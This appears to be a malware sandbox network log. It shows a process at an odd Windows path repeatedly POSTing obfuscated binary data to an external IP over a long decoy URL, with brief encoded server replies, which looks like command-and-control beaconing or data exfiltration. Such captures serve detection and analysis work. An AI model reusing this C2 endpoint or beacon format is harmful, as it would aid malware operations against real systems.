Jan 10, 2025 07:58:25.264178991 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 38 3a 32 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:58:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49960	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:25.396646976 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:25.787328959 CET	2544	OUT	Data Raw: 5c 51 43 52 5b 5a 53 54 58 5b 57 56 50 52 5b 5b 55 51 5e 5c 54 5d 51 5d 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \QCR[ZSTX[WVPR[[UQ^\T]Q]RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,??[>?+/>-$X+(?!'(0/=&>$3'_!/Y.
Jan 10, 2025 07:58:26.134363890 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:26.285588980 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49966	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:26.411263943 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:26.767345905 CET	2544	OUT	Data Raw: 5c 56 43 52 5e 56 53 57 58 5b 57 56 50 53 5b 5b 55 55 5e 53 54 50 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VCR^VSWX[WVPS[[UU^STPQ\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',?1\(#8:+X?8'5#? ?Y/%'$'_!/Y.
Jan 10, 2025 07:58:27.151107073 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:27.280587912 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49967	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:26.463062048 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:26.814057112 CET	2036	OUT	Data Raw: 59 50 46 50 5e 59 56 52 58 5b 57 56 50 52 5b 5a 55 51 5e 59 54 59 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YPFP^YVRX[WVPR[ZUQ^YTYQXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$.!$+."(,?=4X<+'"+ 3)$=$&:'_!/Y.
Jan 10, 2025 07:58:27.200588942 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49973	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:27.417792082 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:27.767205000 CET	2544	OUT	Data Raw: 5c 54 43 5e 5b 5d 56 5f 58 5b 57 56 50 5a 5b 55 55 52 5e 52 54 5b 51 58 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \TC^[]V_X[WVPZ[UUR^RT[QXRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/ ("?]/<4+^<64;U<0*%240'_!/Y.-
Jan 10, 2025 07:58:28.164181948 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:28.294439077 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49979	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:28.433119059 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:28.782846928 CET	2544	OUT	Data Raw: 5c 53 46 53 5e 5d 56 56 58 5b 57 56 50 5f 5b 50 55 57 5e 53 54 50 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \SFS^]VVX[WVP_[PUW^STPQYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'/?[+=[>%',*U<='<875B'T(3)?"%70'_!/Y.9
Jan 10, 2025 07:58:29.187602043 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:29.339036942 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49990	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:29.471561909 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:29.829740047 CET	2544	OUT	Data Raw: 59 52 46 57 5b 5a 56 56 58 5b 57 56 50 5a 5b 52 55 57 5e 5b 54 5c 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YRFW[ZVVX[WVPZ[RUW^[T\Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$8#]([-<,Z,*->= _(4"4/< +?.&+&:'_!/Y.-
Jan 10, 2025 07:58:30.209095001 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:30.336771011 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49996	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:30.457621098 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:30.814064026 CET	2544	OUT	Data Raw: 59 5f 43 50 5e 5a 53 53 58 5b 57 56 50 53 5b 5a 55 51 5e 5f 54 51 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y_CP^ZSSX[WVPS[ZUQ^_TQQ_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$.2/\+-&?(-:)T<<(7!'3'_)2^3'_!/Y.
Jan 10, 2025 07:58:31.195014954 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:31.345979929 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50002	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:31.478198051 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:31.829890966 CET	2544	OUT	Data Raw: 59 51 46 55 5e 59 56 55 58 5b 57 56 50 5c 5b 5b 55 54 5e 58 54 5c 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YQFU^YVUX[WVP\[[UT^XT\QZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/!](&</<[8<+4\6;T(#++/B&[+0'_!/Y.
Jan 10, 2025 07:58:32.208966017 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50008	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:32.310082912 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:32.723364115 CET	2036	OUT	Data Raw: 5c 52 46 53 5e 5e 56 53 58 5b 57 56 50 5f 5b 53 55 50 5e 52 54 51 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \RFS^^VSX[WVP_[SUP^RTQQZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;;(:?%?,1S<=#<'!$+#&8X3'_!/Y.9
Jan 10, 2025 07:58:33.081465006 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:33.210731983 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 39 1f 37 2b 0e 1e 26 59 35 57 2e 3c 2d 50 2b 09 37 00 29 04 24 06 29 20 3c 0d 39 2f 0a 0d 21 05 21 14 3c 0c 0b 0f 24 3c 3c 56 27 27 21 59 0c 13 26 59 3f 04 3d 57 3d 2a 3b 07 3f 0f 21 1d 33 33 3b 12 25 3d 25 52 34 3c 2c 5d 3f 2a 3a 09 28 21 39 1f 2d 2a 27 02 2a 2c 2b 0d 33 0c 2a 57 0c 1f 26 54 22 21 22 0f 21 0b 26 5c 25 28 09 56 33 5e 28 1c 26 11 38 03 20 3a 3c 06 2d 5f 37 01 35 3e 34 58 3e 58 39 0a 36 0b 2b 0a 29 3c 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 9897+&Y5W.<-P+7)$) <9/!!<$<<V''!Y&Y?=W=;?!33;%=%R4<,]?:(!9-',+3*W&T"!"!&\%(V3^(&8 :<-_75>4X>X96+)< Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50009	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:32.454057932 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:32.798728943 CET	2544	OUT	Data Raw: 59 51 43 51 5b 5c 56 57 58 5b 57 56 50 5f 5b 5b 55 5c 5e 5d 54 59 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YQCQ[\VWX[WVP_[[U\^]TYQ_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'A8'Z+_((,:(=<)8+5+Q<Y=B%><^3:'_!/Y.9
Jan 10, 2025 07:58:33.235840082 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:33.369803905 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50017	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:33.514111042 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:33.860999107 CET	2544	OUT	Data Raw: 59 5f 43 56 5b 5b 53 52 58 5b 57 56 50 59 5b 51 55 53 5e 58 54 59 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y_CV[[SRX[WVPY[QUS^XTYQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR',1+-2>6$X,.(=(Y<;45T(3Z),&-(&'_!/Y.!
Jan 10, 2025 07:58:34.276427984 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:34.426084042 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50023	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:34.555908918 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:34.907839060 CET	2544	OUT	Data Raw: 59 54 46 50 5e 5e 53 55 58 5b 57 56 50 53 5b 5a 55 52 5e 5f 54 51 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YTFP^^SUX[WVPS[ZUR^_TQQZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'@/0<[>%4]/9=+;?88\5+7^>>1X3*'_!/Y.
Jan 10, 2025 07:58:35.311350107 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:35.463435888 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50028	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:35.950889111 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
